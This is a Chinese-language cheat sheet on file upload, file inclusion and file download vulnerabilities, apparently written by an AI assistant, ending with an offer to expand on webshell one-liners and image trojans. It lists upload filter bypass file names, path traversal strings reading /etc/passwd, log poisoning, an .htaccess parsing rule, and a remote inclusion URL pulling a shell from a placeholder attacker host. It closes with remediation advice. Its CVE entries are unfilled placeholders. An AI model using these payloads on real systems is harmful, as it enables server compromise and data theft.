文件操作漏洞(File Operation Vulnerabilities)

中心主题:文件操作漏洞


1. 概述

原理

  • 服务器和客户端对上传文件的验证不全面
  • 允许用户直接上传恶意文件(如 webshell),或通过连接/包含等方式执行

危害

  • 直接获取 webshell → 服务器权限
  • 读取敏感文件(配置文件、源码、数据库凭证)
  • 远程代码执行(RCE)
  • 数据泄露、后门植入、横向移动

2. 文件上传漏洞(最常见类型)

2.1 客户端验证绕过

  • 前端 JS 校验扩展名、大小、类型 → 可直接改包绕过
  • 修改 Content-Type 为 image/jpeg 等伪装

2.2 服务端验证绕过

常见黑名单绕过

  • 后缀绕过:.php.php5 .phtml .php. .php;.jpg .php%00.jpg
  • 双后缀:shell.php.jpg shell.php;.jpg
  • 大小写绕过:.pHp .PhP
  • 特殊字符:shell.php. shell.php%20 shell.php::$DATA(Windows NTFS 特性)

白名单绕过

  • %00 截断(早期 PHP < 5.3.4 有效)

  • .htaccess 上传恶意解析规则

    AddType application/x-httpd-php .jpg

  • Apache 解析顺序漏洞(多后缀时从右往左解析)

MIME 类型绕过

  • Content-Type: image/jpeg → 实际内容为 PHP 代码

其他绕过技巧

  • Apache + mod_negotiation:shell.php.jpg → Apache 可能解析为 .php
  • Nginx + PHP-FPM:文件名后缀无关,取决于 fastcgi_param SCRIPT_FILENAME
  • Windows 短文件名:progra~1com1.php

2.3 典型文件上传漏洞案例

  • PHP < 5.3.4 的 %00 截断
  • Apache 2.4.x + 多后缀解析顺序
  • Nginx 配置不当(PATH_INFO 导致任意文件解析)
  • CMS 上传插件漏洞(dedecms、wordpress、phpmyadmin 等)

3. 文件包含漏洞(LFI / RFI)

3.1 本地文件包含(LFI)

  • include/require/include_once/require_once
  • 常见参数:?page=../../etc/passwd ?file=../../../../windows/win.ini
  • 配合日志投毒:User-Agent 写入 webshell → 包含 access.log

3.2 远程文件包含(RFI)

  • allow_url_include = On(极少开启)
  • ?page=http://evil.com/shell.txt

3.3 常见路径遍历绕过

  • ../ ....// ....\\ ./../ %2e%2e%2f
  • URL 编码多次:%252e%252e%252f
  • 绝对路径:/var/www/html/shell.php

4. 文件下载漏洞

  • 任意文件下载:?file=../../../../etc/passwd
  • 未授权下载源码、配置文件、数据库备份
  • 路径穿越 + 后缀黑名单绕过

5. 检测与利用思路

5.1 上传成功判断

  1. 改名后缀为图片 → 上传 → 访问是否解析为 PHP
  2. 改 Content-Type → 上传 → 检查响应
  3. 上传 <?php phpinfo(); ?> → 访问看是否执行
  4. 上传 .htaccess + 图片马 → 测试解析

5.2 后缀爆破列表(常见可解析后缀)

  • php php3 php4 php5 phtml phar inc
  • jsp jspx asp aspx cer cdx
  • cgi pl py

5.3 上传路径猜测

  • /upload/ /uploads/ /files/ /images/ /attachment/
  • /upfiles/ /file/ /tmp/ /data/

6. 修复建议

服务端修复

  1. 白名单校验文件扩展名(而非黑名单)
  2. 重命名上传文件(随机文件名 + 固定后缀)
  3. 禁止执行权限:上传目录设置 php_flag engine offOptions -ExecCGI
  4. MIME 类型二次校验(使用 getimagesize / finfo)
  5. 限制上传大小 & 禁止 .htaccess 上传
  6. 关闭危险函数allow_url_include=Off allow_url_fopen 谨慎开启

配置层面

  • Apache:php_admin_flag engine off 在上传目录
  • Nginx:location ~* \.(php|php5|phtml)$ { deny all; } 在上传目录
  • 上传目录与 Web 根目录分离

7. 典型 CVE / 案例参考

  • CVE-2015-XXXX:各种 CMS 上传绕过
  • CVE-2018-XXXX:phpMyAdmin 文件上传
  • CVE-2019-XXXX:ThinkPHP / Laravel 等框架上传
  • 图片马 + .htaccess 组合拳
  • Nginx + PHP-FPM 路径解析漏洞

一句话总结防御
上传目录绝不解析 PHP + 文件名不可控 + 白名单校验 + MIME 验证” 是最稳组合。

如需补充:

  • 具体 webshell 一句话木马
  • 图片马制作方法
  • 常见 CMS 上传点位置
  • 最新绕过技巧(2024-2025)
    随时告诉我,我继续扩展!